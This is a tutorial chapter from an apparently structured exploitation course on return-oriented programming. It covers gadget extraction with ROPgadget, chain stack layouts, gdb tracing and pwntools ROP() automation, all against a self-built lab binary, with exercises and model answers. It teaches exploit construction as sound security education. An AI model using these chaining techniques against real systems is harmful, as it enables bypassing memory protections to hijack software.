Step 205. ROP 1: The Gadget Concept, ROPgadget/ropper — The Assembly Art of Code Fragments

Step 205. ROP 1: The Gadget Concept, ROPgadget/ropper — The Assembly Art of Code Fragments

Level 3 — Pwn Track | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: you’ve finished Step 204. You’ve set an argument with a pop rdi; ret gadget and called a function, and you can use pwntools.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: the ret2win binary from Step 204, ROPgadget (venv), gdb, pwntools. The measured environment is Ubuntu 24.04, ROPgadget 7.7, pwntools 4.15.0.
  • Caution: ROP is the backbone of real-world attacks that bypass NX. Every experiment target today is an experimental binary you built yourself.

In Step 204 we borrowed one fragment — pop rdi; ret — to hand a function its argument. But where did that fragment come from? Looking closer, dozens or hundreds of such fragments hide throughout a binary, and a big library like libc holds over a hundred thousand. Today we learn to collect these fragments — gadgets — systematically, read them, and chain them by hand. The canonical study of ROP.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Know the definition of a gadget ("an instruction fragment ending in ret") and the kinds of useful gadgets
  • Extract gadgets from a binary with ROPgadget and filter them with grep
  • Explain the relationship between binary size and gadget count with measurements
  • Design a chain with a stack-layout diagram, and observe gadgets toppling like dominoes in gdb
  • Read a chain made by pwntools’ ROP() automation and compare it against a manual chain

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Python (pwntools) + bash, WSL Ubuntu, ROPgadget 7.7, gdb 15.1 (x86-64)
Today’s commands/APIs ROPgadget --binary ./target (full extraction), --only "pop|ret" (filter), ROP(e), rop.find_gadget(), rop.call(), rop.dump(), gdb’s si (execute one instruction)
Concepts needed Gadgets, code-reuse attacks, the NX–ROP relationship, the chain’s stack layout

2-1. What a Gadget Really Is — Bytes Reinterpreted

A gadget is not code a programmer planted. x86-64 is a variable-length architecture with uneven instruction lengths, so if you start reading from a byte in the middle of an instruction, a completely different instruction pops out. For example, the byte sequence 5f c3 somewhere in a function is pop rdi; ret if executed from that spot.

Tools like ROPgadget sweep the whole binary and find every valid instruction combination ending in ret (0xc3). So a gadget list is not "the programmer’s intent" but "every possibility the CPU can interpret."

2-2. The Useful-Gadget Card — Organized by Purpose

The gadgets used in the field come in a few fixed kinds.

Gadget What it does Purpose
pop rdi ; ret stack → first argument Pass one argument to a function
pop rsi ; ret stack → second argument When two or more arguments
pop rdx ; ret stack → third argument Three-argument functions like execve
pop rax ; ret stack → rax Set the system call number
ret nothing, move along Fix 16-byte stack alignment
syscall invoke a system call Call the kernel directly without libc
leave ; ret relocate rbp/rsp Stack pivot (advanced)

2-3. Why ROP — Attacking in the NX Era

NX, from Step 187, blocks "executing data on the stack." Shellcode you planted can no longer run. But ROP plants no new code. It merely chains, with ret, fragments from a code section that already has execute permission. NX is a defense that upholds the data/code distinction — ROP bypasses without violating that distinction.

This is why today’s technique has been the backbone of real-world exploits for decades. Defenders countered by reducing gadgets themselves (hardware assists like CET/IBT) and hiding addresses (ASLR), and that arms race continues through Step 207.

2-4. The Chain’s Stack Layout — The Domino Blueprint

Drawn as a stack diagram, Step 204’s chain looks like this.

high addresses ↑
┌─────────────────┐
│ win address     │ ← the next destination the gadget's ret pulls
├─────────────────┤
│ "open_sesame"   │ ← the value pop rdi pulls
├─────────────────┤
│ pop rdi;ret addr│ ← the first destination vuln's ret pulls (the RET slot)
├─────────────────┤
│ A × 40 (padding)│ ← from buf to RET
└─────────────────┘
low addresses ↓ (gets fills upward from here)

One ret is the motion "pull the stack top, go there, and lower the top by one cell." So merely stacking addresses on the stack amounts to writing an execution schedule. You must be able to draw this picture by hand to design chains.


3. Follow Along

3-1. Extracting Gadgets — ROPgadget

Let’s dump all gadgets from the Step 204 binary.

cd ~/lab204_208
/root/lab188/venv/bin/ROPgadget --binary ./ret2win
Gadgets information
============================================================
0x0000000000401075 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112b : add bh, bh ; loopne 0x401195 ; nop ; ret
...
0x00000000004011be : pop rdi ; ret
0x00000000004011c0 : pop rsi ; ret
...
0x000000000040101a : ret

Unique gadgets found: 83

(Measured 2026-09-09. The full list runs about 73 lines — the middle is omitted.)

How to read the output: each line is one gadget — in address : instructions format. The same address range can yield different gadgets depending on the starting byte (e.g., reading from 0x4011b6 gives endbr64; push rbp; mov rbp, rsp; pop rdi; ret, while reading from 0x4011be gives pop rdi; ret). What we need are gadgets that are clean at the tail end.

3-2. Filtering — Scooping Out Only What You Need

When the list is long, narrow it with grep and the --only option.

/root/lab188/venv/bin/ROPgadget --binary ./ret2win --only "pop|ret" | grep -E "pop rdi ; ret$|pop rsi ; ret$| : ret$"
0x00000000004011be : pop rdi ; ret
0x00000000004011c0 : pop rsi ; ret
0x000000000040101a : ret

(Measured 2026-09-09.)

How to read it: --only "pop|ret" restricts results to gadgets containing only the specified instructions, and grep’s ret$ keeps only those ending in ret. If a jump is wedged in the middle (jmp 0x...), the chain escapes there — so you must pick only those whose tail is a pure ret.

3-3. Code Size = Gadget Count — Comparing with libc

Let’s compare our small binary (83) against the operating system’s giant library.

/root/lab188/venv/bin/ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | tail -1
/root/lab188/venv/bin/ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep " : pop rdi ; ret$" | head -1
Unique gadgets found: 107510
0x000000000010c08d : pop rdi ; ret

(Measured 2026-09-09. This can take a few minutes.)

How to read the output: our toy binary holds 83 gadgets; libc holds 107,510. The bigger the code, the more accidental fragments — which is why real-world ROP uses libc as its gadget warehouse. Note, though: libc’s addresses change every run under ASLR, so a number like 0x10c08d is only an "offset within the file." Turning it into a real address is the subject of ret2libc (Step 207).

Note: ropper is another tool that does the same job (its display format and search syntax differ slightly). Getting comfortable with one is enough.

3-4. ★ Observing the Dominoes — Following the Chain in gdb

Using Step 204’s payload (padding + pop rdi + value + win) as is, set a breakpoint at the gadget and follow one instruction at a time.

gdb -q ./ret2win
(gdb) b *0x4011be
Breakpoint 1 at 0x4011be: file ret2win.c, line 6.
(gdb) r < payload204.txt
Breakpoint 1, gadgets () at ret2win.c:6
(gdb) x/2i $rip
=> 0x4011be <gadgets+8>:	pop    %rdi
   0x4011bf <gadgets+9>:	ret
(gdb) x/3gx $rsp
0x7fffffffe5e0:	0x0000000000402008	0x00000000004011c5
0x7fffffffe5f0:	0x00007fffffffe600
(gdb) si
(gdb) info registers rdi rip
rdi            0x402008            4202504
rip            0x4011bf            0x4011bf <gadgets+9>
(gdb) si
(gdb) x/1i $rip
=> 0x4011c5 <win>:	endbr64

(Measured 2026-09-09.)

How to read the output: the moment the dominoes topple.

  • The stack top at the stopping point: 0x402008 (our value) and 0x4011c5 (win) sitting in order.
  • One si (execute one instruction): pop rdi ran, rdi = 0x402008, and rip points at ret.
  • Two sis: ret pulled 0x4011c5 off the stack and jumped to win.

Stack numbers become registers, and the next number becomes the destination. That is all of ROP. However long a chain grows, it’s only this motion repeated.

3-5. A Taste of Automation — pwntools ROP()

pwntools builds the hand-stacked chain automatically.

Input (rop_auto.py)

#!/usr/bin/env python3
from pwn import *

e = ELF('/root/lab204_208/ret2win')
context.binary = e          # this one line pins the architecture (amd64)
rop = ROP(e)

g = rop.find_gadget(['pop rdi', 'ret'])
print("pop rdi gadget:", g)

rop.call('win', [0x402008])
print(rop.dump())
print("chain hex:", rop.chain().hex())

Run

/root/lab188/venv/bin/python3 rop_auto.py
pop rdi gadget: Gadget(0x4011be, ['pop rdi', 'ret'], ['rdi'], 0x10)
0x0000:         0x4011be pop rdi; ret
0x0008:         0x402008 [arg0] rdi = 4202504
0x0010:         0x4011c5 win
chain hex: be114000000000000820400000000000c511400000000000

(Measured 2026-09-09.)

How to read the output: one line, rop.call('win', [0x402008]), produced a byte sequence completely identical to our manual chain — be114000... (pop rdi), 08204000... (argument), c5114000... (win). The exact order we built by hand in 3-4. Even when you use automation, you now know what happens inside. In real CTFs this automation builds chains dozens of layers tall, but the person who debugs when stuck is ultimately the person who knows this scene.


4. Missions & Exercises

Mission — A Gadget Card and a Manual Chain Blueprint

  1. Extract gadgets from the ret2win binary (or any practice binary you made yourself) with ROPgadget --only "pop|ret"
  2. Make your own gadget card: organize address and purpose in a table for each of the four kinds — pop rdi, pop rsi, pop rdx, ret (for any missing kind, write "none" and why)
  3. Draw the two-argument chain from the Step 204 mission (padding + pop rdi + value1 + pop rsi + value2 + function) as a stack-layout diagram — in the 2-4 format, writing each cell’s address and role
  4. In gdb, leave an si trace record of where rip moves at every ret of the chain
  5. Auto-generate the same chain with pwntools ROP() and compare whether the rop.dump() output matches your diagram

Exercises

Exercise 1. Are gadgets code the attacker plants in the program? If not, where do they come from?

Exercise 2. Explain why ROP works even with NX (stack execution ban) enabled.

Exercise 3. In 3-3, libc had 107,510 gadgets. Why can’t you write libc’s gadget addresses straight into a payload?

Exercise 4. What happens if you use a gadget whose tail isn’t ret — like pop rdi ; jmp 0x401020 — in a chain?


5. Model Answers & Completion Criteria

Mission Model Answer

An example report (based on the 2026-09-09 measurements — addresses vary by environment):

[gadget card]
| gadget        | address  | purpose            |
| pop rdi ; ret | 0x4011be | set first argument |
| pop rsi ; ret | 0x4011c0 | set second argument|
| pop rdx ; ret | none     | — (small binary)   |
| ret           | 0x40101a | stack alignment    |

[stack layout — two-argument chain]
RET slot:  pop rdi address  ← vuln's ret goes here
RET+8:     "stage1" address ← pop rdi pulls this
RET+16:    pop rsi address  ← the first ret's destination
RET+24:    "stage2" address ← pop rsi pulls this
RET+32:    win2 address     ← the second ret's destination

[gdb trace] rip at each si: 0x4011be → (pop) → 0x4011bf(ret) → 0x4011c0 → ... → win2
[automation comparison] the dump of rop.call('win2', [addr1, addr2]) matches the diagram above

How to verify: ① do the card’s addresses match the actual ROPgadget output? ② do the diagram’s cell count and order match the actual payload (8 bytes × 5 + padding)? ③ did rip move in the diagram’s order at each step of the gdb trace?

Exercise Answers

Answer 1. No. They’re bytes that already exist in the program’s code section, reinterpreted as "valid fragments ending in ret" regardless of instruction boundaries. Thanks to x86-64’s variable-length instruction structure, skipping even one byte produces a new instruction.

Answer 2. Because ROP plants no new code in memory. The chained fragments all come from a code section (.text) that already has execute permission, and only addresses and data sit on the stack. NX is a device that blocks "executing data regions," so ROP — which hops only through code regions — has nothing to be caught by.

Answer 3. Because of ASLR. The starting address (base) where libc loads into memory changes every run, so a number like 0x10c08d reported by ROPgadget is only a "distance from the base (offset)." Real address = that run’s libc base + offset, and the technique for learning the base (a leak) is exactly Step 207’s subject.

Answer 4. The chain breaks. pop rdi executes, but then jmp 0x401020 goes to that address without looking at the stack, never continuing to the next gadget we stacked. That’s why, when grepping ROPgadget results, you pick only ret$ (those ending in ret). The chain’s only connective tissue is ret.

Completion Criteria Checklist

  • [ ] I can explain that a gadget is "a reinterpretation of bytes, not the programmer’s intent"
  • [ ] I extracted gadgets with ROPgadget and filtered with grep/–only
  • [ ] I confirmed the gadget-count difference between a small binary (83) and libc (107,510)
  • [ ] I know the purposes on the useful-gadget card (pop rdi/rsi/rdx, ret, syscall)
  • [ ] I can draw a chain’s stack-layout diagram by hand
  • [ ] I observed the ret dominoes connecting with gdb’s si
  • [ ] I confirmed pwntools ROP()’s automatic chain matches my manual chain
  • [ ] Mission: I completed the gadget card + blueprint + gdb trace report

6. Common Pitfalls & Fixes

Wall 1. pwntools builds a weirdly short (4-byte unit) chain

Symptom: the result of rop.call() prints in 4-byte units like this (an accident we actually hit while writing):

0x0000:         0x4011c5 win(0x402008)
0x0004:          b'baaa' <return address>
0x0008:         0x402008 arg0

Cause: without context.binary, pwntools mistook the target for 32-bit (i386). i386 passes arguments on the stack, so the chain’s very shape differs.
Fix: write context.binary = e right after creating the ELF(). You’ll get an 8-byte chain matching the amd64 convention.

Wall 2. ROPgadget takes too long

Symptom: on a big file like libc it takes minutes.
Cause: that’s normal. It’s the work of finding a hundred thousand fragments.
Fix: practice on small binaries first, and narrow libc searches with something like --only "pop|ret". pwntools caches gadgets once found ("Loaded 7 cached gadgets").

Wall 3. The gadget address is off by one byte

Symptom: the chain goes somewhere wrong or dies instantly.
Cause: a one-byte slip, like writing 0x4011bf instead of 0x4011be — from 0x4011bf on, only ret remains, which isn’t what you intended.
Fix: copy-paste addresses as a rule. And when you set b *address in gdb, confirm that x/2i $rip shows the instructions you intended.

Wall 4. pwn checksec works but ROP() can’t find a gadget

Symptom: rop.find_gadget(['pop rdi', 'ret']) returns None.
Cause: that binary may genuinely lack the gadget (see Step 204’s Wall 2 — common on modern small binaries).
Fix: check the actual list with ROPgadget. If it’s missing, plant a practice gadget function or widen the target to libc.

Wall 5. ROPgadget won’t install

Symptom: the command is missing even after pip install ROPGadget.
Cause: you installed outside the venv, or a PATH issue.
Fix: per Step 188’s venv, install with ./venv/bin/pip install ROPGadget and call ./venv/bin/ROPgadget. The measured path in this book was /root/lab188/venv/bin/ROPgadget.


7. Summary

Today’s Concepts

Concept One-line explanation
Gadget An instruction fragment ending in ret — a reinterpretation of code-section bytes
Code-reuse attack An attack that chains existing code instead of planting new code
Gadget warehouse The bigger the code, the more gadgets — libc is the prime example
ret dominoes A cascade of rets pulling stack tops and jumping — that is ROP
ROP automation pwntools ROP() — humans design, tools assemble

Today’s Commands & APIs

Command/code What it does
ROPgadget --binary ./target Extract all gadgets
--only "pop|ret" First-pass filter by instruction kind
grep " : ret$" Second-pass filter for ret endings
rop = ROP(e) + context.binary = e Automation prep (pins architecture)
rop.find_gadget(['pop rdi', 'ret']) Find one gadget
rop.call('func', [args])rop.chain() Auto-generate a call chain
si (gdb) Execute one instruction — domino tracing

An Instinct More Important Than Commands

Today’s core picture is one: the stack becoming a command list. ret is a dumb executor pulling the list’s next item, and we forge the list that executor reads. A gadget is a dictionary of "words" that can go on that list, and ROPgadget is a tool that copies the dictionary automatically.

Even in an era where tools build chains automatically, the place you return to when stuck is today’s manual domino observation. Automation doesn’t replace understanding — it amplifies it. And there’s a most famous sentence you can write with this dictionary’s words — system("/bin/sh"). Assembling that sentence is now in your hands.


Once every box is checked, Step 205 is complete. Click the checkbox in the sidebar to save your progress.